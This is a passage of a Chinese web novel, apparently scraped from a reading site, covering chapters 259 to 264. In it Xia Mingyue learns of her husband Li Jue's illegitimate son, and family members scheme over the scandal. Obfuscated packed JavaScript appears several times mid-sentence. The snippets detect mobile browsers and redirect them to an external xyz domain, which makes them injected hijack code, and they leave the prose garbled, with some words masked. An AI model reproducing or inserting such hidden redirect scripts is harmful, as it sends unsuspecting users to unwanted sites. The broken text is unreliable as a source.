李玦跟这事儿没有关系,就算圣上当年恼了老端侯了,可既然这爵位没彻底撤了,要想让他袭爵就是一句话的事儿,找个机会,这恩典也就给了,圣上还是宽待老臣和他们的后人的。 可要是这事儿不成,其实也是一句话的事儿,既然当年就恶了老端侯,现在也不难连带着把李玦一起厌恶了去。 夏明月纵使不甘,也不得不回到正题上:“那你倒是说说,究竟是谁有外室子了?我这儿也好去料理,偏你在这儿卖关子,看我笑话,耽误工夫。” 巧兰不想耽误工夫,她是不敢说,这会被逼到绝处了,只能硬着头皮道:“是……世子姑爷……” 巧兰这姑爷的“爷”子拉了好长的调子,虽然越来越低,但这个字的余音仿佛没有止境一般。 夏明月一口气都提到嗓子眼儿里了,她就等着这“姑爷”后面是不是还有什么,比如说姑爷的表兄、堂兄或是好友什么的。 这要是李玦的义兄华靖离有了外室子了,那她就更高兴了,还非得让人拉上三车鞭炮到钩翊侯府门前的那条街上都放了才好,纵使上辈子她没发现,这辈子能气死夏明嫣才好。 一时间夏明月都想好了,夏明嫣定是不待见那外室子的,没关系,她夏明月可以就此给宫里上折子,说夏明嫣善妒,苛待夫君子嗣。 再或者她可以对那孩子好啊,虽说跟她没有血缘关系,但这也是她礼法上的外甥不是么?最好以后夏明嫣连个蛋都下不出来,让这孩子继承钩翊侯府才好呢。 可惜,夏明月等来等去都没等到这“姑爷”两个字的下文,这话到这儿似乎就戛然而止了。 夏明月见巧兰的脸都灰了,渐渐地明白了什么,前一刻还嬉笑着要看别人笑话,这一刻陡然惊觉,她猛地醒悟,差点儿就跳了起来: “不可能,绝对不可能!阿玦哥哥对我情比金坚,他就算纳了何雨萍那个贱人,也是因为他要借何家的力,那也是他的表妹,他怎么会看上外面的女人。” “你从哪儿听来的消息?有没有仔细查验过,会不会听错了?” 巧兰不由自主地慢慢地往后挪了一步,离夏明月远点儿:“应该不会错,夫人啊,这事儿应该也不是夫人想的那样,估么着就是世子爷在外面玩乐的时候,意外有的,就是露水姻缘。” “世子爷这些年都没见过那对儿母子,也就是前不久可能才见了一面吧……这事儿是大姑娘,就是华侯夫人身边的秋果来说的,应该是真的吧!” 巧兰吱吱唔唔的,这种时候哪儿敢直接说真话,可让她临时瞎编,也编不出来。于是,她越说,她的说辞就越是跟吕大姑娘那件事的说辞重合的越多。 “应该是真的吧?分明就是夏明嫣吓唬你呢,就是为了给华靖和脱罪……” 夏明月两句话没说完,终于发现自己这话有问题了,夏明嫣会使手段,可是在大事儿上没说过假话,而且这种话要是假的,很快就能查出来,说这样的谎没有意义。 而且吕大姑娘和华靖和那件事,她做的很小心,背后的那个人她虽然不知道是谁,可是比她做得更小心,夏明嫣应该发现不了才对。 如果夏明嫣故意拿外室子这种话来诳她,就是说她已经在怀疑是她让陷害得华靖和了?那样的话,她还不打过来?这么安静,只让秋果来说几句令人怀疑的话,显然不是她的风格,道理上也说不通。 夏明月这时候冷静了下来,也渐渐发现了巧兰对外室子这件事的描述似乎跟华靖和、吕大姑娘那事儿的出奇一致,她立刻有了不好的预感: “那外室子是谁?如何发现的?她夏明嫣做事向来有理有据,你且说说,她那个丫头秋果都是怎么跟你说的?这么大的事儿应该不会一点凭据都没有。” 这是真瞒不住了,巧兰便将事情的经过说了,无外乎就是把吕大姑娘的事儿又说了一遍,只是把里面跟吕大姑娘有私的高门公子从华靖和换成了李玦: “……事情大概就是这样的,华侯最近不是好了吗?华侯夫人便想去还愿,因着之前给华侯治伤,在丹药上求助了几位道爷、道姑。” “华侯夫人便选了一莲观去还愿,去的时候也是巧了,看见咱家老夫人的车驾了,她好奇就跟了进去,结果就发现了一个男孩子。咱家老夫人弯着身子跟那孩子说话,看起来就像亲祖孙似的。” “华侯夫人一时好奇,刚开始还以为那孩子是端侯府旁支家的子孙,或是那两家的孙子什么的呢,可瞧着何夫人那热乎劲儿又不像,就买通了人进去打听。” “里面的人也是嘴紧的,可架不住华侯夫人给的银子多,就透露了一件事。说是那孩子太小了,只有两岁多,别的也说不清楚,只管他娘亲叫‘吕大娘子’,还说他小姨叫‘瑛姨’。” 吕二姑娘的名讳正是吕冠瑛,这“瑛姨”说的就是她!这可都对上了! 第259章城门火,烧池鱼 夏明月气得只觉得浑身上下都烧了起来,要是她能烧得更厉害些,定是能平地冒出白气来的,只可惜她这口气只能憋在自己身上,是半点都出不来的。 夏明月只觉得自己的声音都在发抖:“她……就没有别的凭证?也许那孩子只是借住在观中,老夫人见了心生怜悯呢?” 这可真是不见棺材不掉泪、不到黄河心不死啊! 巧兰都觉得奇了,这夏家,各个都是理智、聪明的,就算是书呆子一样的夏登云也没对哪个人如此痴迷过。 怎么偏偏夏明月就是个痴情种呢,这李玦是什么圣人不成,她怎么就那么肯定他不会犯天底下大部分男人都会犯的错误呢。 巧兰秉着伸头也是一刀、缩头也是一刀的心态,硬着头皮说道:“这应该不会,夫人您想,这一莲观平日里去上香和借住的都是高门女眷,那男童虽小,却也是不会收留过夜的。” “当时华侯夫人就觉得奇怪,便让人查了一下,咱们老夫人为了这孩子可是给了观里银子的,一张一千两的银票,上面有票号,就是……秋果说夫人若不信,让人一查便知。” 这时候的银票分为两种,一种是小额的,多在百两以下,是不记名的。但高于百两的,尤其是高于五百两的,各家票号都会记名。 只要把银票上的数字和年月拿到票号里对一下,就能核验真假并且知道这是哪家的银子了。 巧兰刚才报出的就是这样一串含义的数字,这东西不用查也知道是真的,因为府里的银票标号前几位都是相同的,而夏明嫣要是想骗她,断断不会留如此明显大的破绽让她抓。 尤其这时候巧兰又从袖子里拿出一张折好的纸出来,打开来竟然是一张巴掌大的小相,上面赫然画了一个两三岁大的男童,那眉眼和神态跟李玦恁地相像! 夏明月自己先愣住了:“这是那孩子……他长得好像……不,不可能,阿玦哥哥不会骗我的!他怎么可能骗我,怎么会……” 巧兰在心里哀叹,出了这样的事儿,家里的妻妾永远是最后知道的,况且即便是按秋果的说辞,这事儿李玦还未必清楚,最清楚的恐怕只有何夫人。 对于李玦来说,他还年轻,将来还能有许多的子女,从前一时玩乐,有了孩子都不知道也是有的。这孩子他要是没良心,丢在外面不认,或是认了但不闻不问,也不会有人指责他。 就是他想带回府里养,也多半是为了颜面,一个那种地方出来的商女,生的孩子能金贵到哪儿去? 这孩子别说跟夏明月的孩子比,就是跟何雨萍和以后这府里的一众妾室、通房比,这孩子也没什么地位。 可偏偏夏明月就是把这件事看得这么重,仿佛天都塌了似的,一下子连那双明亮的美眸都变得晦暗无光了。 巧兰到底不忍心:“夫人,现在还不是伤心的时候,您得想想,这件事牵扯了华二公子进去,华家现在既然已经知道了,为了他家二公子和华家的声誉,是不会姑息咱们姑爷的名誉的。” “眼看着就要过堂了,这件事一旦闹出去,没脸的可是姑爷,尤其老夫人这都让人抓住把柄了。到时候一说着银票,这可是一千两,咱们府里什么光景,这好些个银子,那要不是亲孙儿,凭什么给他……” “到时候老夫人倒是祖孙团圆了,还能给那孩子过了明路,可是世子还怎么袭爵?您还怎么当侯夫人?还有那吕大姑娘的事儿怎么办?原本是栽赃华二公子的,这回全跑咱们这边来了。” 吕大姑娘那事儿夏明月只是派人去逼了她,让她以为孩子的亲爹是华景和,她是被华靖和刻意抛弃的,还说了很多不堪和侮辱的话,拿吕大姑娘曾经流落到那种地方的经历刺她。 下毒那事儿,跟她们是真没关系。原本这是陷害华靖和和华家的,谁下的毒这事儿根本不用解释,只要拿不出实证,那背后的人不出现,这事儿就是个疑影笼罩在华家人头上。 可现在这祸水泼到他们自己身上来了,这事儿不解释清楚的话,岂不成了他们这边在杀人灭口了? 巧兰对这种搬起石头砸自己脚的事儿嗤之以鼻,她之前就劝过夏明月,御青书院的擢选,那是何等大事,往年参选的人为了扳倒对手,多有制造谣言的人,可没谁把人真弄进府衙大牢去的。 她劝夏明月想些别的法子把华靖和踩下去就是了,横竖华靖和除了会作画,别的也没见什么大才,太针对他了,反而惹人怀疑。 而且夏明月是不想夏明嫣和华靖离好过,这华靖和只是华家的一个庶子,还是那位卜小娘养到的,跟董氏夫人并不是很亲近,整这么一个人真能动得了华靖离的根基吗? 巧兰没读过什么书,可是她从前听楚氏说过一个道理,她深以为然。 那就是对付这种实力强大的对手,要是没有一招毙命地把握,就不要轻易动手,尤其不要因为一些鸡毛蒜皮的小事动手。 可是夏明月不听她的劝,还罚她在院子里跪了一夜,她哪里还敢劝。她刚才的话还是说客气了,她真正想说的是这回屎盆子扣他们自己头上来了。 只是这会儿要是巧兰再不说些什么,这城门的火就要把她这条鱼烧死了,她只能冒着被夏明月打死的风险低声劝道: “夫人,现在顾不得那些有的没的了,您要是当不上侯夫人,岂不是要被华侯夫人看一辈子的笑话?这样的大事,还是得忍一时之气,以大局为重。” “奴婢觉着这事儿既然华家已经知道了,也是要闹起来的,闹出来他们家也要有些不好看,不如您跟华侯夫人私下先商量商量,拿出个章程来,等上了公堂,先把这事儿压下去再说。” “您要是不把这事儿办了,也不跟华侯夫人那边打招呼,万一那边继续查下去,发现事情跟咱们有关,这事儿可就兜不住了。要是耽误了姑爷袭爵,就怕姑爷会……” 第260章她决定要脸 的确,只要证明了那孩子的生父是李玦,华靖和身上的嫌疑一下子就能少了一大半儿,可是公堂之上公然质证,这过程中要想说清楚,就少不得把华靖和当年跟吕大姑娘也拎出来解释清楚,华家的事儿还是会被全城人议论。 在这一点上,损失最大的的确是端侯府,但钩翊侯府也不会毫发无伤。在这件事上,他们两家有部分利益其实是一致的,应该商量一下,共同应对才是。 夏明月这会儿也清醒多了,李玦外头跟不三不四的女人在一起还生了个孩子,的确伤她甚深,可是伤心伤怀这种事儿也是有两面性的。 一面是自伤,也就是心里的伤,另一面是颜面上的伤,会在大庭广众甚至全元京的人面前丢面子的伤。 要说自伤,夏明月自然是被伤得心如刀绞的,这事儿要放在别人身上,还能安慰自己说这是成婚前的事儿了,都过去了,可她跟李玦是青梅竹马啊。 这就不一样了,尤其是成婚以后,夏明月在端侯府过得并不顺畅,她跟李玦之间最浓情蜜意的时候反而是在成婚之前的,可就在那段日子里,李玦居然背着她眠花宿柳,还跟一个那种女人有了孩子。 这比上辈子李玦跟夏明嫣、邓澜、何雨萍她们是夫妻更让她难以接受,这都是什么事儿,她都没给李玦生过孩子,外头的**居然生了,而且还是个儿子。 可这些伤,夏明月还能压抑在心里,至少还能控制着自己,不完全在外人面前表露出来,可面子上的就不一样了。 要是让元京城里的这些高门人家和百姓都知道了,她过去跟李玦的那些情投意合、三生缘定就都成了笑话了,还会有无数的人等着看她如何对待那个孩子。 那个孩子不管是放在外面养还是接回来养,都会一直被人议论,甚至以后几十年,人们都会说那就是当年李玦在外面生的孩子,李玦宁愿要一个楼子里的**也不要她这个楚相外孙女、夏尚书之女。 夏明月绝不允许自己落到这样的下场,她收敛了一下情绪,冷声对巧兰道:“她派来报信的人呢?告诉她,我要去拜会长姐。” 巧兰在心里松了口气,赶忙道:“这倒是不用拜会了,华侯夫人说现在您去钩翊侯府也不合适,他们府里也正是忙乱的时候,就以前回趟夏家吧。” “也有些日子没回去了,这事儿定是瞒不住的,索性让老爷、夫人先一步知道了,也好帮着拿个主意。她就先一步回去了,您想好了就赶紧回去。” 这倒是个很妥帖的处理方式,这种事儿出了,夏明月定是要回娘家求助的,楚氏和夏庸都必须来给她撑腰。 夏明月虽说对李玦一腔痴心,可她也不是傻子,她不会只要李玦感情上的补偿,什么以后对她更好之类的东西,在她看来那是理所当然的。 不出这档子事儿,难道李玦就不应该对她更好了?当然要啊,夫妻间相处得久了,对她更好是应该的,何况她还帮他做了那么多的事儿。 在这一点上夏明月有一种求偿心理,上辈子夏明嫣帮李玦做了很多事,后来就被李玦扶正了,那么她这辈子李玦不需要把她扶正,她本来就是正室,那不就得在别的地方补偿她吗? 因此,这件事儿上她不仅要李玦在情感上补偿她,她还要他拿出更实在的补偿来。 一时间夏明月想了很多,她究竟该要什么补偿好,要金银、财物,她自己有,夏、楚两家都给了她不少,反倒是端侯府,她嫁进来以后才发现那叫一个穷得叮当响。她即便想要这方面的补偿,也没有啊。 那要什么好呢?夏明月这时候反倒又清醒了些,她想不出来没关系,她可以问问夏明嫣。 虽然夏明嫣没重生,可人还是那个人,性子、行事做派和想事儿的路子还是跟上辈子相似的,问夏明嫣说不定反而能问出些想法。 夏明月难得顺从地答应了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564690|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“回去一趟也好,这件事若是真的,也是要父亲、母亲出面的。还有他们华家,这事儿要是抖搂出来,也是为了给华靖和洗脱冤屈。” “弄得我们端侯府没脸,他们可不能一点儿都不管,他们得负责。走,换了衣裳就回家去,一会儿你派几个人给我盯着那个老东西去。” “我这才进门一个月,她都催了我几回了,恨不得我立刻给她生个孙儿才好。这回好了,不用我生了,她那大孙儿自己来了,她正好宝贝着。给我盯好了,我就不信她不出去看。” 夏明月这时候是彻底忘了华靖和有此一灾,完全是拜她所赐,她反而要怪华家为了解释清楚真相把李玦有私生子的事儿说出来。 巧兰是真为夏明月这套万事只记得有利于自己的那部分的逻辑折服了,但她不能在这时候劝夏明月。 她一个侍女,就是个拿月例银子过日子的,何必操那么多不该她操的心?她本来也不懂多少大道理。 这种事儿就该让楚氏和夏庸去劝,别人劝也劝不明白,即便劝明白了,也没那个能力帮夏明月拿到她想要的。 秋果那边给巧兰报了信,只在后角门待了一会儿就先出来了。 从端侯府后角门到夏府还是要穿过那片李氏亲族和下人们**的地方,见她是从里面出来的,少不得又有人来问她究竟出了什么事儿,让她还得从后门进去。 秋果现在被夏明嫣带的,已经跟刚去华家时判若两人了,一有人上前去跟她打听消息,她就做出一脸牙疼的表情,先看着那人苦笑,之后呜地一声好像多委屈一样。 便有方才那引路的大娘问她了:“姑娘这是怎么了?刚才应该已经见到巧兰姑娘了吧?怎么,要办的事儿没成?” “这不应该呀,你们夫人跟我们世子夫人是姐妹,遇见什么难事儿不能商量啊。再或是你没说清楚?没事儿,说出来,让我们帮你出出主意。” 第261章一到关键时候就呜呜呜 更有人说了:“不怕说句姑娘不爱听的,世子夫人到底年轻,还没掌家呢,她若是不答应帮忙,定是她做不了主的,你还不如去求何夫人。” “刚巧我家那位在何夫人面前当过差,跟里头的人熟,你要是有难处,我去让我家那位给带个话,求一求何夫人。” 自老端侯出事儿,端侯府败落已有二十多年,这些亲戚、仆从不是不知道端侯府的情况,只是他们大多数都没有自行出头的本事,纵使这些年在外面也有了些自己的营生,可都是小打小闹的,也就是混口饭吃。 仆从就更不必说了,当年端侯府发卖了好些人,单就他们这些人被留下了,现在身契还扣在何夫人手里,他们人也走不了,心么,也只能羡慕一下其他高门人家的仆从。 秋果今日过来穿的是一件八成新的绸缎衣裳,一看就是元京城里富贵高门家的下人,不是他们这些破落户能比的,可这丝毫不影响他们在秋果面前摆阔。 这些人说的好似端侯府真能帮上钩翊侯府什么忙似的,就是那个说能给何夫人传话的,也不知道他的妻子是这府里几进院的奴婢,其实根本传不进话去。 可输人不能输阵,这些人可不会承认自己的落魄,反而一个个地像是要仗义执言为秋果和夏明嫣出头一样。 秋果一脸怨怼地扫视了一下这些人,一跺脚像是气得不行了似的:“找什么何夫人?找她有什么用?这还不是你们何夫人干出来的好事儿,这是要欺负死我们二姑娘啊。” 秋果还掩面假哭了几声,见周围的人都默不作声了,才抬起头红着眼睛说,“不是说你们世子跟我们二姑娘情投意合、青梅竹马吗?当初以为娶不到我们二姑娘了,还要悔婚呢。” “瞧瞧他都干了什么事儿,他在外面居然都有……呜呜呜,何夫人这个做母亲的,哪有不护着儿子的,居然帮着藏着,把我们二姑娘和老爷、夫人瞒得好苦啊。” “用得着我们夏家的时候什么都是好的,把人娶过来了就这般搓摩我们二姑娘。我们二姑娘贤德啊,之前何小娘进门,她非但没拦着,还让何小娘帮着管家呢。” “这回倒好,何小娘也成了不顶用的了,这外面的……呜呜呜,我们二姑娘惨啊,命苦啊,将来都不知道有没有她站的地方了。她原还说要帮你们这些亲戚一把,回去求求我们老爷,也求一求她的外祖父,现在出了这种事儿了,要她回去怎么说。” 前头那大娘似乎听明白了些什么,又好像什么都没听明白,只能求证似的的问道: “姑娘,你先别哭了。何夫人护着世子什么了?世子他到底干什么事儿了,你倒是说啊。” 秋果指着天上的日头,边说边抹鼻子:“还能有什么事儿……呜呜呜,总之连带着我们夫人倒霉,遮瑕又该有人说当日换亲,是我们夫人占了便宜了。” “可谁能想到你们世子居然……呜呜呜呜,罢了,我一个下人也不好说主子们的过失,我先回去了。” 秋果闷着头就跑了,前头巷子口还有钩翊侯府的马车等着她,这些人自然不敢拦她。 待秋果走了,这些**眼儿瞪小眼儿地看着彼此,一到关键的地方,秋果就哭得呜呜的,是半个字都没说。 这是把关键的字眼都遮掩过去了,这样即便话传出去了,主子也不好怪她乱说。如此小心谨慎,想必是发生什么大事了! 能是什么大事?这些个人都是沾了市井气的人精,稍微一议论便猜了个大概。 这分明就是李玦在外面有女人了,说不准还有了孩子啊……这还了得,这不是骗了夏家和楚家吗? 端侯府不行了之后,这些人便闲了下来,比那些庄稼地里的闲汉还闲,这么多张嘴更是比市井之人还碎,一时间就七嘴八舌地讨论了起来。 这些人都知道夏明月的出身,知道她背后不仅有夏家,左相楚霆孝只有楚氏这么一个女人,更是只有夏明月这么一个亲外孙女,两家的陪嫁给的,那是十里红妆啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570450|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李玦娶夏明月的时候,他们这些个人都抖擞了起来,大家都觉得有指望了。 毕竟夏、楚两家都不会让夏明月吃苦,定是能让李玦袭爵当上端侯的,等到那时,他们这些衣服端侯府而活的人就又有了活路了,定是能过上好日子的。 就像刚才秋果说的那样,夏明月为了提高自己在李家的地位、得到李家亲族的拥护,原本是打算要跟娘家张嘴,帮他们安排一下,给他们指条明路的,这回出了这样的事,还让她怎么跟娘家、外祖父家开这个口? 这些人一脸的抱憾,一脸的不甘心,一开始这些人还想着能不能把这件事给平了,这样的话,平了夏、楚两家的怒气,他们就又有指望了。 可一想,他们是一点办法都没有的,毕竟这件事他们就只知道这么点儿影子,那女人和孩子是谁、在哪儿,他们一概不知,想干点儿什么也干不了。 要说这些个亲戚和曾经得脸的下人,好些人年轻的时候或是他们的长辈都是跟着老端侯在军中风光过的,他们的心气儿本就比一般的百姓高。 可是因为败落的太久了,而这中间何夫人一个寡妇当家,自是不可能把他们**起来维系他们的斗志的,因此这些人身上的戾气也比一般**。 于是,还没到晚上东西两市人声鼎沸的时候,这事儿就随着他们的嘴传遍了元京,几乎所有人都知道李玦在外面无媒苟合了,还生了好几个孩子。 要问生了多少个?这谁知道,但定然是有儿有女、龙凤呈祥了,不然也不会把夏明月气成那样,听说报信的刚走,就给气回娘家去了。 这些话被传出去之后传得越来越离谱,甚至还有说李玦要休妻然后娶那女子进门的! 闹到最后,就连最早传这些话的人都迷糊了,他们都分不清哪些话是他们传出去的,传走了样的那些话究竟是谣言还是外面那些人从别的地方打听出来的消息了。 这些人这晚便聚在一处商量起来,做了一个共同的决定。 第262章回娘家打前站 这些人和他们的家眷如今也没有别的出路和希望,他们的荣辱和将来都是跟端侯府绑在一起的,因此他们决不能让端侯府这艘破了洞的大船沉了。 他们一致决定,第二天一早他们就进府去找何夫人**,一定要把外面的女人和孩子摆平了,绝不都能让何夫人做出那等为了外头的孙子就不顾正经儿媳和亲家脸面的事! 这边早些时候,在夏明月往夏府赶的时候,夏明嫣已经先一步回去了,在看望过祖母朱老太太之后,她没去见楚氏,直接就去见了夏庸。 这时候那些个端侯府的亲戚、仆从还没把话传出去呢,夏庸自然对这件事还一无所知。 不过夏庸很满意夏明嫣最近的表现,父女俩两辈子加一块儿也没相处过多少时日,这会儿夏庸倒是对这个女儿满口夸赞: “你做得很好,延请名医为华侯疗伤,他的伤,当初太医都束手无策,你竟然请到了能治好他的人。你这是动用了杨家的根底吧?不过,没关系,只要跟蛊医无关,又将他治好了就成。” 因为宫里派去的两名太医之前一直都在华家看着,夏庸根本想不到在太医的眼皮子底下,华家敢用蛊医,更想不到用蛊医之术治好华靖离的就是他面前这个一向乖巧听话、端庄贤淑的女儿。 夏庸和楚氏相比到底还是有些不一样的,尽管他早就不待见杨氏了,早在杨氏病重的时候就巴不得她早点去了,好让他有机会续娶一位高门贵女做继室。 可是女儿却是亲生的,当年要不是为了避着蛊医那阵风波,不是为了抬高楚氏在府里的地位,让楚氏享受的待遇真正与原配正室无二,他也不是非得把夏明嫣送走不可。 毕竟那时候夏明嫣还很小,根本记不得父母之间发生过什么,只要把原本杨氏身边的人都赶出府去,便不会影响他们把夏明嫣养成最孝顺的女儿。 可既然已经送走了,那么用楚氏那套方法来养倒也不错,身为他的女儿呆笨一点无所谓,只要对家族够忠心,能帮上家里就行了。 夏明嫣现在的表现明显超出了夏庸的意料,因为她规矩体统那一套虽然学得很好,行事做派在大义上也都站得住脚,但难得的是她遇事能够机变应对。 卢阳那种小地方,民风古朴,从小在那边长大的人刚回到元京不足一个月的时候就能不怯场,还能把遇到到的人和事儿都摆平了,实属难得。 不过,夏庸也并不觉得这有什么奇怪的,他自己没有将才还能坐上兵部尚书这个位置,除了依靠楚霆孝这个岳父的支持,靠的就是他的好人缘儿和处事灵活机变的做派。 他的长女有像他的地方,一点也不奇怪嘛,而且这么一想,楚氏将她教得古板些倒也对了,一个姑娘家像他这么灵活机变也不好,不好管束,还容易惹是非。 此刻不容易惹是非的好女儿夏明嫣正坐在他下首的位置上乖巧而腼腆地笑着: “父亲放心,女儿一直谨记父亲教诲,跟蛊医有关的事,可知而不可用。当时府里有两位太医盯着,就算女儿懂蛊医的医术,也是万万不敢用的。” “何况女儿从前只是看过一些医术,并不曾**得医术,就是舅父那边,送了信过去,也是他身边的人回的话,说是他远游采药去了,已有多日未曾与家中通信。” “就是女儿有心求助舅家,也万万来不及。女儿请的是南边儿来的良医,并且要求他每做一处处置,都要跟太医商量,切不可出差错。好在夫君现已大安,也算是皇天不负有心人了。” 夏明嫣今日回来是为了借夏庸和楚氏的手收拾夏明月,不是来跟夏庸争辩、闹翻的,她没必要把自己不仅会医术,还在蛊医之术上甚是精通的事儿告诉夏庸。 他日等到华靖离请了圣旨让蛊医重回元京时,夏庸自然会知道,到时候木已成舟,他如何发作都行,就是要跟她断了父女关系,也没有问题。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570451|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >现在实在没必要让他知道真相,她今日要扮演的是一个乖女儿,这样才能更加衬托出夏明月才是要令他们头疼的那个。 夏庸听了只当是夏明嫣虽然借了杨家的人脉寻医问药,却半点不曾触犯禁忌,他满意地颔首: “你自来是个懂事的,没枉费你母亲请了四位女师教导你,现在想来对你严厉些也是好的,不然你也不会如此出息,行事也如此得体,没给为父丢脸。” “华侯女婿现在虽然大安了,可伤筋动骨尚且需要百日休养,他之前伤得那般重,想来身子还需好生将养才行。你作为他的妻子,一定要多劝劝他,劝他千万不要心急,不用急着回北疆。” “北疆的将士们历练数十年,许多都能独当一面,他实在该留在元京保养身子,也给那些人留些机会嘛。” “是,女儿知道了,其实即便父亲不说,也正该如此,军功是立不完的,夫君他十三岁就随他祖父入了军中,如今已经十几年了,本来也该歇歇了。” “女儿也常劝他,人么,总不能劳碌一辈子,该放手的时候就该学着放手。他总觉得北疆离不了他,可纵使现在离不了他,将来呢?” “人总会老,会受伤,会生病,他一直撑着,总有撑不住的一天,等到那时又当如何呢?还不如早些放手,让底下的人多一点机会历练。” 夏明嫣显得再明理不过了,她当然知道夏庸这么说是为了什么。 夏庸坐在兵部尚书这个位子上,他别的功绩没有,靠的就是平衡各方。眼下他没办法把华家军彻底收归兵部,但他总不能什么都不做。 就算是为十几年后的事情做准备,这时候也已经安插了些人进去了,只要华靖离不在北疆,他想要安插别人也更方便了。 如今北疆战事已经平缓,用不了几年就能彻底太平下来了,这时候正是可以抢功还不用担太大风险的时候,正好方便了他们这一派的人动手。 第263章好一个乖女 华靖离不在,华家军其余人等就得低调行事,他们顾忌得多了,别人抢功的机会也就多了,因此对于夏勇来说,华靖离回去的越晚越好,最好就不要回去了。 李玦为何明明参与了御青书院的擢选,也不想放弃去北疆历练的机会,为的也是这个,这可是抢功的绝佳时机,关键是这时候已经几乎没有性命之忧了。 夏明嫣对此心知肚明,可她只要不傻就不会说出去,她说的那些话完全就像一个新婚燕尔的小妇人舍不得夫君远走,生怕自己的夫君刚刚痊愈就又添了新伤,影响他们过日子。 她半点没提什么军功之类的东西,更没说既然北疆那般不好为何还要让李玦去历练这样的话,她一个没有见识的内宅妇人,哪儿能想到这些?她就是想要跟她的夫君长长久久,一家子又能过上富贵荣华的日子就够了。 眼看着夏明嫣就快把“头发长,见识短”六个字写脸上了,夏庸反而更高兴了,女儿么,要那么高的见识干吗,有见识、有作为、得封赏,那是他们这些男子该做的事儿。 夏庸忙点了头,颇为开怀地道:“你说的很是,有些话为父也就是对你说了,在华侯面前我不好说,你回去也劝劝他。这些年他在北疆积威甚重,这是好事,也是坏事。” “功劳他都得了,封赏他也得了,可手底下的人呢?都在他的荣光之下,何时能出头?不说那些老将,就说跟他差不多年月入军中的那些,也都到了成家立业的年纪了,他身上的担子和功劳也该分一分了。” “正好,华家但凡征战的男子都要早留子嗣,他现在身子好了,你们刚好早些生几个孩子。圣上体恤他这些年的功劳,定然会允他留在元京休养。等到你们的孩子大些了,他再去征战不迟。” 虽然夏庸说这些话的时候根本就是别有用心的,可这些道理倒也说得通。 夏明嫣更是没有一点反对的意思,连连点头称是,嘴里直说:“还是我目光短浅了,好在今日回来看看,得以受了您这番教诲。回去之后,这些话我定是要跟夫君说的。” “只是我一个女子,说这些道理想必他也不会听,不过我就算是求也要求着他留下的,至少要等生养了孩子再走。婆母那边也说要给他纳妾繁衍子嗣呢,我也没有意见。” “这种时候能多一个子嗣就多一个,管他是谁生的的呢?只要有子嗣、有男丁,就不会重蹈我公公那几位兄长的覆辙。父亲放心,我定不会让您丢脸,无论如何都会让您报上外孙。” 华叶峰的兄长们阵亡之前倒是有两位留下了子嗣的,只是那两位兄长本身生前都没有袭爵,而且这两个子嗣都是他们与贱籍女子所出。 其实所谓的贱籍女子都是借口,在这种情况下,男人都马革裹尸了,只留下一个根苗,要真是普通的贱籍女子所生,记在别的妻妾名下,也并非不能袭爵。 那两个孩子之所以没能袭爵,还是因为他们本身的军功不足、天赋有限,再有就是他们的生母确切的说并不是贱籍,而是罪籍才对,只是为了好听,华家把这事儿隐瞒了下来,没有明说罢了。 如今这二人也快三十岁了,都在北疆效力,其中一人已经升了副将,另一人做的事文官,管着当地的一个县府衙门。 要是华靖离将来就像华叶峰那几个还没来得及剩下子嗣就阵亡了兄长一样,什么妻啊,妾啊的,都得坐蜡。在一般人眼里,谁会甘心爵位和这么厚的家底都落到华靖和手里呢? 夏明嫣这番话既体现了她明白这当中的事理和轻重缓急,也说明了她身为女子和正室妻子,丈夫广纳妾室、通房,她即便心里会不舒服,可是为了大局,她都可以忍下去。 而且她的神情颇为合适,既表现了她的决心,也没有咬牙切齿地下决心,她的表现就是一个外柔内刚的女子该有的。 这要是换到夏明月身上,纵使为了袭爵能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就算一直落魄着,再落魄的婆家也是婆家,就算你的娘家再得力、再强势,身为女子,为了一个好名声,面上也都得忍上几分,可偏偏夏明月是个不能忍的。 想到这些夏庸不免叹了口气,从前夏明月在家里时尚且懂得撒娇卖乖,就算朱老太太不是很喜欢她,她也是能把朱老太太哄住了的,怎么现在在端侯府却只知道硬碰硬了呢? 第264章难得夸奖 夏庸原本很看重夏明月,是想让她嫁给华靖离的,这样刚好拉拢华靖离为己所用,他自己是兵部尚书,却是个白面书生,不是个能打的,岳家楚家那边也都是文臣,那就来一个战功卓著的女婿好了。 这样也方便将来将华家军收归朝廷,他这个兵部尚书也算是完成了一项朝廷大计了,也算是**了。等到将来夏登云长大了,有了功名了,还能受他的荫庇走入朝堂。 